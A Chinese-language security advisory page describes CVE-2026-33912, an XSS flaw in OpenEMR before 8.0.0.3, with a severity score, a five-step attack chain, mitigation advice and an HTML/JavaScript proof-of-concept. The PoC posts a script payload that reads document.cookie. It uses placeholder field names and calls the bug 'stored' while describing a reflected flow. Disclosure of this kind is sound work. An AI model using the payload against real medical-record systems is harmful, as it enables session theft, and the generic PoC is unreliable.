IPBUF安全漏洞报告
English
CVE-2026-33912 CVSS 5.4 中危

CVE-2026-33912 OpenEMR 存储型XSS漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33912
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenEMR

相关标签

XSSOpenEMRCVE-2026-33912跨站脚本Web安全

漏洞概述

OpenEMR在8.0.0.3版本之前存在一个跨站脚本(XSS)漏洞。由于未对用户输入进行充分过滤,已认证的攻击者可以构造恶意表单。当受害者提交该表单时,恶意JavaScript代码将在其浏览器会话中执行,可能导致会话劫持或数据窃取。

技术细节

该漏洞技术原理在于OpenEMR对特定表单数据的处理缺乏严格的输出编码。攻击者首先需要一个低权限账户(PR:L),利用程序对表单参数的验证缺失,将JavaScript代码注入到请求参数中。由于CVSS向量包含UI:R(需要用户交互),攻击者必须诱导具有更高权限的受害者(如管理员)提交这个特制的表单。一旦受害者触发提交,服务器将未经过滤的恶意脚本返回给浏览器渲染,导致脚本在受害者的上下文中执行(S:C)。这使得攻击者能够绕过同源策略限制,窃取Session Cookie、篡改页面内容或执行未授权操作。

攻击链分析

STEP 1
1. 信息收集与访问
攻击者获取OpenEMR系统的低权限账户访问权限。
STEP 2
2. 构造攻击载荷
攻击者分析表单结构,构造包含恶意JavaScript代码的表单数据。
STEP 3
3. 投递攻击向量
攻击者通过钓鱼或社会工程学手段,诱导受害者(如管理员)点击链接或提交特制的恶意表单。
STEP 4
4. 执行恶意代码
受害者提交表单后,服务器未过滤输入直接返回,导致浏览器执行恶意脚本。
STEP 5
5. 达成攻击目标
攻击者利用脚本窃取受害者的Session ID,进而接管账户或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-33912 --> <!-- This script simulates the malicious form submission crafted by an attacker --> <html> <body> <script> function exploit() { // URL of the vulnerable OpenEMR instance form handler var targetUrl = "http://target-openemr/openemr/interface/forms/"; // Malicious payload designed to execute JS in the victim's browser var payload = "<script>alert('CVE-2026-33912 - XSS Executed');console.log(document.cookie);<\/script>"; // Constructing the form data with the injected payload var params = "form_action=save&vulnerable_field=" + encodeURIComponent(payload); // Sending the request (simulating victim submission) fetch(targetUrl, { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: params, credentials: "include" // Ensures cookies are sent if victim is logged in }).then(response => console.log("Payload sent")) .catch(error => console.error("Error:", error)); } // Automatically trigger or bind to a button click exploit(); </script> <h1>OpenEMR XSS PoC</h1> <p>If you see an alert, the vulnerability is confirmed.</p> </body> </html>

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
在无法立即升级的情况下,管理员应严格限制用户权限,避免普通用户访问管理表单。同时,建议部署Web应用防火墙(WAF)规则,检测并拦截包含恶意脚本标签的请求流量,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表